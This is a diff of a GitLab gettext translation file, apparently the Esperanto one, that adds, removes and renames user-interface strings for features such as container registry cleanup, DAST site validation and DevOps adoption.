+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Nuligi"
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr "Priskribo"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr "Trovi dosieron"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr "De la kreado de la problemo Äis la disponigado en la publika versio"
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
